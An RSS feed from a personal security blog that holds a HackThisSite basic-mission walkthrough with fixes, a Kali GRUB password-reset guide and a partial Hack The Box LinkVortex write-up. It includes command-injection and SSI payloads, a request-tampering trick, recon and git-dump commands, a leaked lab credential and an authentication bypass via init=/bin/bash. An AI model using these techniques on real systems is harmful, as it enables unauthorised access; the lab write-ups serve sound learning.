<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Amrit’s blog]]></title><description><![CDATA[Amrit’s blog]]></description><link>https://blog.giriamrit.com.np</link><generator>RSS for Node</generator><lastBuildDate>Sun, 19 Apr 2026 09:12:45 GMT</lastBuildDate><atom:link href="https://blog.giriamrit.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Hackthissite: Basic Challenge]]></title><description><![CDATA[Overview
HackThisSite.org is an online platform that provides a legal and safe environment for individuals to improve their cyber security skills through a variety of challenges and Capture the Flag (CTF) events.
level 1

Vulnerability Description: H...]]></description><link>https://blog.giriamrit.com.np/hackthissite-basic-challenge</link><guid isPermaLink="true">https://blog.giriamrit.com.np/hackthissite-basic-challenge</guid><category><![CDATA[hackthissite]]></category><category><![CDATA[hacking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[offensive-security]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Thu, 10 Jul 2025 03:23:09 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-overview">Overview</h2>
<p><a target="_blank" href="http://HackThisSite.org">HackThisSite.org</a> is an online platform that provides a legal and safe environment for individuals to improve their cyber security skills through a variety of challenges and Capture the Flag (CTF) events.</p>
<h2 id="heading-level-1">level 1</h2>
<ul>
<li><p><strong>Vulnerability Description: Hardcoded password</strong></p>
</li>
<li><p>On inspect there was a password in elements tab where the password was commented</p>
</li>
</ul>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*-RiK5j4u_92Fyc_cdOY5OA.png" alt /></p>
<h3 id="heading-solution">Solution</h3>
<p>remove the comment section which contains such a credentials from the code.</p>
<h2 id="heading-level-2">Level 2</h2>
<ul>
<li><p><strong>Vulnerability Description: No password file</strong></p>
</li>
<li><p>Just entering with blank password solve the level 2</p>
<p>  <img src="https://cdn-images-1.medium.com/max/1600/1*AxSDYf7azK97ON2iuf0FFA.png" alt /></p>
<p>  <img src="https://cdn-images-1.medium.com/max/1600/1*_XKmHAKSf5BPxh_8IMwvaw.png" alt /></p>
</li>
</ul>
<p>The potential error can be missing the password file, the file might not be uploaded</p>
<h3 id="heading-error">Error</h3>
<p>If the script is poorly written, it might not properly handle the case where the password file is missing. for example:</p>
<ul>
<li><p>the script might compare with empty string <code>(””)</code> or null</p>
</li>
<li><p>It doesn’t check for the valid password</p>
</li>
<li><p>A logic error in the script could allow empty or incorrect inputs to bypass authentication</p>
<ul>
<li>e.g. <code>if (user == password_from_file)</code> without checking the <code>password_from_file</code> is valid</li>
</ul>
</li>
</ul>
<h3 id="heading-solution-1">Solution</h3>
<p>To fix this issue and prevent unauthorized access, the following steps should be taken:</p>
<ol>
<li><p><strong>Ensure the Password File Exist:</strong></p>
<ul>
<li><p>Upload the password file to correct location on the server</p>
</li>
<li><p>Verify that the script can read the file</p>
</li>
</ul>
</li>
<li><p><strong>Add Error Handling</strong></p>
<ul>
<li>Modify the script to handle case where the password file is missing or unreadable. For example</li>
</ul>
</li>
</ol>
<pre><code class="lang-php">    $password_file = <span class="hljs-string">'path/to/file'</span>
    <span class="hljs-keyword">if</span> (!file_exists($password_file)) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"Error: Password file not found. Contact the administrator"</span>);
    }
    $real_password = trim(file_get_contents($password_file));
    <span class="hljs-keyword">if</span> (!$real_password){
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"Error: Password file is empty or corrupted."</span>);
    }
</code></pre>
<ol start="3">
<li><p><strong>Secure Password Storage</strong></p>
<ul>
<li><p>Store the password in hash and avoid using plan text which is insecure. You can use algorithms like <code>bcrypt</code>, <code>argon2</code></p>
</li>
<li><p>Then convert the input password to the hash and compare with the hash files to identify if it is valid or not</p>
</li>
</ul>
</li>
<li><p><strong>Prevent Empty Input</strong></p>
<ul>
<li>Add validation to ensure the user cannot submit an empty password.</li>
</ul>
</li>
</ol>
<pre><code class="lang-php">    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($_POST[<span class="hljs-string">'password'</span>])) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">'Error: Password file cannot be empty'</span>);
    }
</code></pre>
<ol start="5">
<li><p><strong>Secure File Storage</strong></p>
<ul>
<li><p>If a file must be used, it must be outside the web root (e.g. <code>/var/secure/password.txt</code>) to prevent direct access via the browser.</p>
</li>
<li><p>Set strict file permission e.g <code>chmod 600 password.txt</code> to ensure script can be read only</p>
</li>
</ul>
</li>
<li><p>Test the script with varity of inputs.</p>
</li>
</ol>
<h2 id="heading-level-3">Level 3</h2>
<ul>
<li><strong>Vulnerability Description: Location of password hidden in source code</strong></li>
</ul>
<p>We are already seeing the problem with this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116503445/274413c2-5e1f-45c4-9c1f-566113c54670.png" alt class="image--center mx-auto" /></p>
<p>This shows the potential vulnerability in the script. The issue likely stems from a <strong>Local File Inclusion(LFI) vulnerability</strong></p>
<p>The presence of hidden input field name <code>file</code> with value <code>password.php</code> suggest that the script may use the file named <code>password.php</code> .</p>
<h3 id="heading-error-1">Error</h3>
<ol>
<li><p><strong>Improper Password File Handling</strong></p>
<ul>
<li><p>The password file might be stored in a web-accessible directory, allowing direct access</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116508127/3fb67ad3-d4d4-4c41-8e00-b4f1804fae96.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
</ol>
<p>Here while visiting <a target="_blank" href="https://www.hackthissite.org/missions/basic/3/password.php"><code>https://www.hackthissite.org/missions/basic/3/password.php</code></a> we simply get the password of the file</p>
<h3 id="heading-solution-2">Solution</h3>
<ul>
<li><p><strong>Remove and Sanitize the</strong> <code>file</code> Parameter</p>
<ul>
<li><p>Eliminate the <code>file</code> hidden input from the form unless it’s absolutely necessary. Hardcode the password file path in the script to prevent user manipulation</p>
</li>
<li><p>Keep the file outside the web root</p>
<pre><code class="lang-php">  $password_file=<span class="hljs-string">"/secure/path/to/password.txt"</span>
</code></pre>
</li>
<li><p>If file parameter is required for some reason, validate and sanitize it strictly:</p>
<pre><code class="lang-php">  $allowed_files = [<span class="hljs-string">'password.php'</span>]; <span class="hljs-comment">// Whitelist allowed files</span>
  $file = $_POST[<span class="hljs-string">'file'</span>];
  <span class="hljs-keyword">if</span> (!in_array($file, $allowed_files)) {
      <span class="hljs-keyword">die</span>(<span class="hljs-string">"Error: Invalid file specified."</span>);
  }
</code></pre>
</li>
</ul>
</li>
<li><p><strong>Prevent local File Inclusion:</strong></p>
<ul>
<li><p>Avoid using user input directly in file operations like <code>include</code>, <code>require</code> or <code>file_get_content</code></p>
<pre><code class="lang-php">  $password_file = <span class="hljs-string">"/var/secure/password.txt"</span>; <span class="hljs-comment">// Not in web-accessible directory</span>
  <span class="hljs-keyword">if</span> (!file_exists($password_file)) {
      <span class="hljs-keyword">die</span>(<span class="hljs-string">"Error: Password file not found."</span>);
  }
</code></pre>
</li>
</ul>
</li>
</ul>
<h2 id="heading-level-4">Level 4</h2>
<ul>
<li><p><strong>Vulnerability Description: Hardcoded credentials within application</strong></p>
</li>
<li><p>Here while inspecting we see a send password to Sam</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116551756/480c7ddc-f5b9-4e75-8099-9699dd4d177c.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>While using <code>burpsuite</code> and intercepting the request we obtain the <code>Request</code></p>
</li>
<li><p>Here, just modifying the <code>to=sam%40hackthissite.org</code> to our own <strong>email</strong> we get a mail providing the password for the site</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116555364/6749ab00-5dd9-4b28-8b66-825d7476b2cb.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<h3 id="heading-error-2">Error</h3>
<ol>
<li><p><strong>Insecure Direct Object Reference (IDOR)</strong></p>
</li>
<li><p><strong>Improper input validation</strong></p>
</li>
<li><p><strong>Flaw in Password Handling</strong></p>
</li>
</ol>
<h3 id="heading-solution-3">Solution</h3>
<ol>
<li><p><strong>Remove the Hardcode in</strong> <code>to</code> field</p>
<ul>
<li>If the password has to go to the <a target="_blank" href="mailto:sam@hackthissite.org"><code>sam@hackthissite.org</code></a> then remove the <code>to</code> field from the form, this prevent attackers from modifying the recipient email address.</li>
</ul>
</li>
<li><p><strong>Implement Authentication and Authorization</strong></p>
<ul>
<li><p>Require user to authenticate before they can trigger the password email functionality</p>
<pre><code class="lang-php">  session_start();
  <span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>($_SESSION[<span class="hljs-string">'user_id'</span>]) || $_SESSION[<span class="hljs-string">'user_id'</span>] !== <span class="hljs-string">'sam'</span>) {
      <span class="hljs-keyword">die</span>(<span class="hljs-string">"Error: Unauthorized access."</span>);
  }
</code></pre>
</li>
</ul>
</li>
<li><p><strong>Validate and Sanitize Input</strong></p>
<ul>
<li><p>If <code>to</code> field is necessary then validate for e.g</p>
<pre><code class="lang-php">  $allowed_emails = [<span class="hljs-string">"sam@hackthissite.org"</span>];
  $to = $_POST[<span class="hljs-string">'to'</span>];
  <span class="hljs-keyword">if</span> (!in_array($to, $allowed_emails)) {
      <span class="hljs-keyword">die</span>(<span class="hljs-string">"Error: Invalid email address."</span>);
  }
</code></pre>
</li>
</ul>
</li>
</ol>
<h2 id="heading-level-5">Level 5</h2>
<p>The error in this challenge is same as the <strong>Level4</strong></p>
<h2 id="heading-level-6">Level 6</h2>
<ul>
<li><strong>Vulnerability Description: Week encryption</strong></li>
</ul>
<p>Here,</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>text</td><td>encrypted</td></tr>
</thead>
<tbody>
<tr>
<td>Hello</td><td>hfnos</td></tr>
<tr>
<td>abcdefghijkll</td><td>acegikmoqsuwx</td></tr>
</tbody>
</table>
</div><p>Given <strong>9d67hgg; to decrypt</strong> using <strong>ASII Table</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116577845/9b91f1b4-a849-40dd-88cd-22cfc92eac99.png" alt class="image--center mx-auto" /></p>
<p>We get for <strong>9d67hgg;</strong> as,</p>
<p><strong><em>Answer</em></strong> → 9c44dba4</p>
<h3 id="heading-level-7">Level 7</h3>
<ul>
<li><strong>Vulnerability Description: Command Injection</strong></li>
</ul>
<p>Here we have a <strong>Command Injection problem</strong></p>
<p>The <code>;</code> in the input section is just a command separator that executes multiple commands sequentially</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116600116/312a4648-03e5-4438-ac6f-ee62fa61019f.png" alt class="image--center mx-auto" /></p>
<p><img alt="Screenshot 2025-07-01 at 10.58.29 am.png" /></p>
<p>This lead us to a new page where at the bottom we see the list of the files in that directory</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116603204/e5383841-8e58-470a-acee-4d69a3699e79.png" alt class="image--center mx-auto" /></p>
<p><img alt="Screenshot 2025-07-01 at 10.59.04 am.png" /></p>
<p>Now while visiting to this <code>k1kh31b1n55h.php</code> like <a target="_blank" href="https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php"><code>https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php</code></a> we obtain the password</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116606674/803d6138-659d-4ca6-838a-90ae03e47c5c.png" alt class="image--center mx-auto" /></p>
<p><img alt="Screenshot 2025-07-01 at 11.00.47 am.png" /></p>
<h3 id="heading-solution-4">Solution</h3>
<ol>
<li><p><strong>Disable Directory Listing</strong></p>
<ul>
<li><p>Directory listing allows attackers to view the contents of a directory by accessing it via a browser or command</p>
</li>
<li><p>Manage <strong>Web Server Configuration</strong></p>
<ul>
<li><p>For Apache, add <code>Options -Indexes</code> in the <code>.htaccess</code> file or the main configuration file to disable directory indexing.</p>
</li>
<li><p>For Nginx, ensure the <code>autoindex</code> directive is set <code>off</code></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Secure File Storage</strong></p>
<ul>
<li><p>Store sensitive files <strong>outside the root</strong></p>
</li>
<li><p>Use strong <strong>file permissions</strong> e.g. <code>chmod 600 file</code></p>
</li>
<li><p>Avoid hardcoding credentials in configuration files. Instead, use environment variables</p>
</li>
</ul>
</li>
<li><p><strong>Prevent Command Injection</strong></p>
<ul>
<li><p>Input Validation and Sanitization: Use allowlists for acceptable inputs rather than blocklists.</p>
</li>
<li><p>Use Safe APIs: Avoid using functions like exec(), system(), or eval() in code that processes user input.</p>
</li>
<li><p>Escape User Input: If commands must be executed, escape special characters</p>
</li>
<li><p>e.g.</p>
<pre><code class="lang-php">  $input = escapeshellarg($user_input);
</code></pre>
</li>
<li><p>Web Application Firewall (WAF): Deploy to detect and block command injection</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-level-8">Level 8</h2>
<ul>
<li><strong>Vulnerability Description: Server-Side include (SSI) injection</strong></li>
</ul>
<p>On looking at the task and reading the prompt it looks something like SSL attack so I went to a website of <a target="_blank" href="https://owasp.org/www-community/attacks/Server-Side_Includes_\(SSI\)_Injection">OWAP</a> where I sound some payloads and tried on them</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116638151/5a5e2b96-ffa1-4018-8f55-b223ace62583.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116660973/2f76af62-eccf-49a6-a0e3-30cdc3cee039.png" alt class="image--center mx-auto" /></p>
<p>Suprisingly, it worked and listed a series of file inside a parent directory</p>
<p>visiting the [<code>https://www.hackthissite.org/missions/basic/9/](&lt;https://www.hackthissite.org/missions/basic/9/&gt;)au12ha38vc.php</code> provide us with the password</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116766553/ef248e61-9a9a-4bad-8cad-230f8f72aaa5.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-solution-5">Solution</h3>
<ol>
<li><p><strong>Disable Server-Side Includes(SSL)</strong></p>
<ul>
<li><p>Disable SSL in the configuration file by removing or commenting out the Includes option in the Options directive:</p>
<pre><code class="lang-php">  &lt;<span class="hljs-built_in">Directory</span> /<span class="hljs-keyword">var</span>/www/&gt;
      Options -Includes
  &lt;/<span class="hljs-built_in">Directory</span>&gt;
</code></pre>
</li>
<li><p>Similarly for nginx,</p>
<pre><code class="lang-php">  ssl off;
</code></pre>
</li>
</ul>
</li>
<li><p><strong>Sanitize and Validate User Input</strong></p>
<ul>
<li><p>Strict Input Validation: Implement an allowlist to accept only expected input patterns, rejecting anything containing SSI-like syntax (e.g., &lt;!-- or #exec).</p>
<pre><code class="lang-php">  <span class="hljs-keyword">if</span> (preg_match(<span class="hljs-string">'/&lt;!--|--&gt;|#exec|#include/i'</span>, $user_input)) {
      <span class="hljs-keyword">die</span>(<span class="hljs-string">"Invalid input detected"</span>);
  }
</code></pre>
</li>
<li><p>Escape Special Characters: Encode or escape user input to neutralize SSI directives before rendering it in HTML or passing it to the server.</p>
</li>
</ul>
</li>
<li><p><strong>Secure file and Directory Permission</strong></p>
<ul>
<li>Change the mode of the files and folders using the command <code>chmod</code></li>
</ul>
</li>
</ol>
<h2 id="heading-level-9">Level 9</h2>
<ul>
<li><strong>Vulnerability Description: Server-Side include (SSI) injection</strong></li>
</ul>
<p>Here we get the credentials form level 8 by uploading</p>
<pre><code class="lang-php">&lt;!-- <span class="hljs-comment">#exec cmd="../../9/" --&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116824740/3e74d9b8-57f2-4fb3-97a0-cbd49cfb4ced.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116829077/938620cb-44f0-4d05-9231-718a9b552924.png" alt class="image--center mx-auto" /></p>
<p>We visited the link <a target="_blank" href="https://www.hackthissite.org/missions/basic/9/p91e283zc3.php"><code>https://www.hackthissite.org/missions/basic/9/p91e283zc3.php</code></a> and obtain password</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116832085/f1958883-a5e5-45c9-b7b3-a3bddd3213c6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-solution-6">Solution</h3>
<p>The solution is all for level 8</p>
<h2 id="heading-level-10">Level 10</h2>
<ul>
<li><strong>Vulnerability Description: Incorrect implementation of Cookies</strong></li>
</ul>
<p>Viewing page source code was not use full in this level so I visited every tab of the inspect section</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116866089/1ae6dbdd-ffc9-4d06-8b64-a6bfcb3e4749.png" alt class="image--center mx-auto" /></p>
<p>There was this <code>level10_authorized</code> in cookies section of Application tab. Initially, it has the value <code>no</code> but when I changed it to <code>yes</code> and refresh the page the challenge was complete</p>
<h3 id="heading-error-3">Error</h3>
<p>The potential error here might be:</p>
<ol>
<li><p>Lack of Server-Side Validation</p>
</li>
<li><p>Unprotected Cookies</p>
</li>
<li><p>Insecure Authorization Logic</p>
</li>
</ol>
<h3 id="heading-solution-7">Solution</h3>
<ol>
<li><p><strong>Secure Server-Side Authorization</strong></p>
<ul>
<li>Store authorization state in a server-side session or database, not in client-side cookies.</li>
</ul>
</li>
<li><p><strong>Secure Cookie with Cryptographic Protection</strong></p>
<ul>
<li><p>Use a cryptographic signature to ensure the cookie’s integrity. For example, append an HMAC (Hash-based Message Authentication Code) to the cookie value and verify it on the server.</p>
<pre><code class="lang-jsx">  <span class="hljs-keyword">const</span> cookie = <span class="hljs-built_in">require</span>(<span class="hljs-string">'cookie-signature'</span>);
  <span class="hljs-keyword">const</span> secret = <span class="hljs-string">'your-secret-key'</span>;
  <span class="hljs-comment">// Sign the cookie</span>
  res.cookie(<span class="hljs-string">'level10_authorized'</span>, cookie.sign(<span class="hljs-string">'yes'</span>, secret), { <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span> });
  <span class="hljs-comment">// Verify on server</span>
  <span class="hljs-keyword">if</span> (cookie.unsign(req.cookies.level10_authorized, secret) !== <span class="hljs-string">'yes'</span>) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Invalid cookie'</span>);
  }
</code></pre>
</li>
<li><p>Set secure cookie attributes (<code>HttpOnly</code>, <code>Secure</code>, <code>Samesite</code> )</p>
<pre><code class="lang-jsx">  res.cookie(<span class="hljs-string">'level10_authorized'</span>, <span class="hljs-string">'yes'</span>, {
      <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">secure</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">sameSite</span>: <span class="hljs-string">'Strict'</span>
  });
</code></pre>
</li>
</ul>
</li>
<li><p><strong>Use secure session management</strong></p>
<ul>
<li><p>Use a session management framework (e.g., PHP’s session_start(), Express.js express-session, or Django sessions) to handle authentication and authorization.</p>
</li>
<li><p>Generate a random, unpredictable session ID and store it in a secure cookie.</p>
</li>
<li><p>If possible use the <code>JWT</code> token in backend to get session ids.</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-level-11">Level 11</h2>
<ul>
<li><strong>Vulnerability Description: Unprotected .htaccess files</strong></li>
</ul>
<p>Here we need to enumerate the url using tools like <code>gobuster</code> , <code>FFuF</code></p>
<p>we get this credentials in <code>/e/l/t/o/n/DaAnswer</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116890790/4ce40abd-7042-4ab9-addb-7fbe345f3447.png" alt class="image--center mx-auto" /></p>
<p><code>available</code> was the password for <code>/missions/basic/11/index.php</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752116896859/8f7950d3-8398-49a5-8bb2-cd7c05a2cd71.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In conclusion, we found several vulnerabilities in the “<strong>Basic</strong>” web challenge from HackThisSite.org. These vulnerabilities include hardcoded passwords, no password file, location of the password file hidden in the source code, hardcoded credentials, weak encryption, and command injection. These vulnerabilities could potentially lead to a breach of confidentiality, integrity, and availability.</p>
]]></content:encoded></item><item><title><![CDATA[Password recovery of Kali Linux]]></title><description><![CDATA[Have you ever forget your password? Unfortunately, I have forgotten my password recently and have hacked my way back in. At first, I thought I might have to reinstall the whole thing and start my setup over again, but there was another way to get int...]]></description><link>https://blog.giriamrit.com.np/password-recovery-of-kali-linux</link><guid isPermaLink="true">https://blog.giriamrit.com.np/password-recovery-of-kali-linux</guid><category><![CDATA[passwords]]></category><category><![CDATA[Kali Linux]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Thu, 10 Jul 2025 02:52:14 GMT</pubDate><content:encoded><![CDATA[<p>Have you ever forget your password? Unfortunately, I have forgotten my password recently and have hacked my way back in. At first, I thought I might have to reinstall the whole thing and start my setup over again, but there was another way to get into the system which I was unfamiliar with.</p>
<p>Firstly, <strong>reboot</strong> the system and get out of the login screen, eventually you will see the <strong>GRUB menu</strong>. If GRUB menu is not visible to you then check the half way of <a target="_blank" href="https://medium.com/@amritgiri/fix-linux-crashes-and-grub-issues-after-updates-9da06c8f9bdb"><strong>this blog</strong></a>. When you finally see the GRUB menu, just <strong>press key “e”</strong> to edit the boot options similar like this:</p>
<pre><code class="lang-plaintext">setparams 'Kali GNU/linux'
  load_video
.....
.....
echo    'Loading Linux ....'
linux    /vmlinuz-... root=/dev/mapper/.... ro quiet mitigations=off splash
....
....
</code></pre>
<p>Then you need to <strong>look for “linux”</strong> line in the option. Move towards the end of that particular line and <strong>replace “ro quiet splash”</strong> with <strong>“rw init=/bin/bash”</strong> as shown below:</p>
<pre><code class="lang-plaintext">...
...
linux    /vmlinuz-... root=/dev/mapper/.... mitigations=off rw init=/bin/bash
</code></pre>
<p>After this, you need to either <strong>press “ctrl+x” or “F10”</strong> which will boot you straight into a root shell.</p>
<pre><code class="lang-plaintext">root@(none):/#
</code></pre>
<p>Here check for the user that you want to change password. If you want to be sure of the spelling then as root user you can do anything, so just check the <strong>“/etc/passwd”</strong> for the username. Suppose, if “kali” is the username then simply run</p>
<pre><code class="lang-plaintext">root@(none): passwd kali
New password:
...
...
</code></pre>
<p>Type in your new strong password and exit the system by exit command or pressing ctrl+d.</p>
]]></content:encoded></item><item><title><![CDATA[Hack the Box: LinkVortex Writeup]]></title><description><![CDATA[The LinkVortex is the machine from hack the box lab created by 0xyassine. In this walkthrough, I will demonstrate how I obtained complete ownership of this machine.

https://www.hackthebox.com/machines/LinkVortex
I have owned link vortex from hack th...]]></description><link>https://blog.giriamrit.com.np/hack-the-box-linkvortex-writeup</link><guid isPermaLink="true">https://blog.giriamrit.com.np/hack-the-box-linkvortex-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Thu, 10 Jul 2025 02:48:58 GMT</pubDate><content:encoded><![CDATA[<p>The LinkVortex is the machine from hack the box lab created by <a target="_blank" href="https://app.hackthebox.com/users/143843">0xyassine</a>. In this walkthrough, I will demonstrate how I obtained complete ownership of this machine.</p>
<p><a target="_blank" href="https://www.hackthebox.com/machines/LinkVortex"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1737267474065/043ee712-b214-4180-9689-e1be2ee52cdb.png" alt class="image--center mx-auto" /></a></p>
<p><a target="_blank" href="https://www.hackthebox.com/machines/LinkVortex">https://www.hackthebox.com/machines/LinkVortex</a></p>
<p>I have <strong>owned</strong> link vortex from hack the box</p>
<p>https://www.hackthebox.com/achievement/machine/615731/638</p>
<h1 id="heading-nmap-scanning">Nmap Scanning</h1>
<pre><code class="lang-bash">$ nmap -vvv -p- -T4 -oA nmap/initial 10.10.11.47

<span class="hljs-comment"># Nmap 7.94SVN scan initiated Fri Dec 13 14:49:12 2024 as: /usr/lib/nmap/nmap --privileged -vvv -p- -T4 -oA nmap/initial 10.10.11.47</span>
Increasing send delay <span class="hljs-keyword">for</span> 10.10.11.47 from 0 to 5 due to 629 out of 1571 dropped probes since last increase.
Increasing send delay <span class="hljs-keyword">for</span> 10.10.11.47 from 5 to 10 due to 75 out of 186 dropped probes since last increase.
Warning: 10.10.11.47 giving up on port because retransmission <span class="hljs-built_in">cap</span> hit (6).
Nmap scan report <span class="hljs-keyword">for</span> 10.10.11.47
Host is up, received reset ttl 63 (0.65s latency).
Scanned at 2024-12-13 14:49:13 +0545 <span class="hljs-keyword">for</span> 2713s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
<span class="hljs-comment"># Nmap done at Fri Dec 13 15:34:26 2024 -- 1 IP address (1 host up) scanned in 2715.23 seconds</span>
</code></pre>
<p>Here, we can see that port 22 and 80 are open as ssh and http. Now port scanning is done using map which results in</p>
<pre><code class="lang-bash">$ nmap -vvv -p22,80 -sC -sV -oA nmap/ports 10.10.11.47

<span class="hljs-comment"># Nmap 7.94SVN scan initiated Fri Dec 13 16:51:54 2024 as: /usr/lib/nmap/nmap --privileged -vvv -p22,80 -sC -sV -oA nmap/ports 10.10.11.47</span>
Nmap scan report <span class="hljs-keyword">for</span> linkvortex.htb (10.10.11.47)
Host is up, received echo-reply ttl 63 (0.55s latency).
Scanned at 2024-12-13 16:51:54 +0545 <span class="hljs-keyword">for</span> 36s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
|   256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open  http    syn-ack ttl 63 Apache httpd
| http-methods:
|_  Supported Methods: POST GET HEAD OPTIONS
|_http-server-header: Apache
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
|_http-generator: Ghost 5.58
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-title: BitByBit Hardware
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
<span class="hljs-comment"># Nmap done at Fri Dec 13 16:52:30 2024 -- 1 IP address (1 host up) scanned in 36.66 seconds</span>
</code></pre>
<p>As there is web service running we will curl to get some initial information about the ip</p>
<pre><code class="lang-bash">$ curl -v 10.10.11.47
</code></pre>
<p>This will show some html text and where we can see it is moved permanently to <code>linkvortex.htb</code> so now we modify our hosts so that the url will run in our machine</p>
<pre><code class="lang-bash">$ sudo nano /etc/hosts
</code></pre>
<p>Add the ip and its corresponding url in the text editor</p>
<pre><code class="lang-plaintext">#.....
..
10.10.11.47    linkvortex.htb
.......
.......
</code></pre>
<p>Now when we run <code>linkvortex.htb</code> in browser then it will run with no errors</p>
<h1 id="heading-enumeration">Enumeration</h1>
<pre><code class="lang-bash">$ gobuster dir -u linkvortex.htb -w /usr/share/wordlists/drib/common.txt
or
$ dirsearch -r http://linkvortex.htb
</code></pre>
<pre><code class="lang-bash">$ gobuster dns -d linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top0million-5000.txt
</code></pre>
<h1 id="heading-git-dumper">git dumper</h1>
<pre><code class="lang-bash">$ git-dumper http//:10.10.11.47/ ./linkvortex_dumped
</code></pre>
<p><strong>Find</strong></p>
<pre><code class="lang-bash">$ find * | grep -iR password
</code></pre>
<p>by guessing we get admin@linkvortex.htb as email</p>
<p>using wappalyzer we get ghost 5.58 running which CVE is searched</p>
<h1 id="heading-get-user-flag">Get user flag</h1>
<p>we find GitHub repo on search written by the creator of this machine</p>
<p><a target="_blank" href="https://github.com/0xyassine/CVE-2023-40028">https://github.com/0xyassine/CVE-2023-40028</a></p>
<p>from the docker file we use the provided cp information of <code>/var/lib/ghost/config.production.json</code> that provide us with the user and password for <code>ssh</code></p>
<pre><code class="lang-bash">username:bob@linkvortex.htb
password:fibber-talented-worth
</code></pre>
<p>using the user and password we login to the system using ssh</p>
<pre><code class="lang-bash">$ ssh bob@linkvortex.htb
</code></pre>
<p>Where we cat out our user.txt flag.</p>
<h1 id="heading-get-root-flag">Get root flag</h1>
<p>use the command <code>sudo -l</code> to check what are allowed to execute and found</p>
<pre><code class="lang-bash">bob@linkvortex:~$ sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
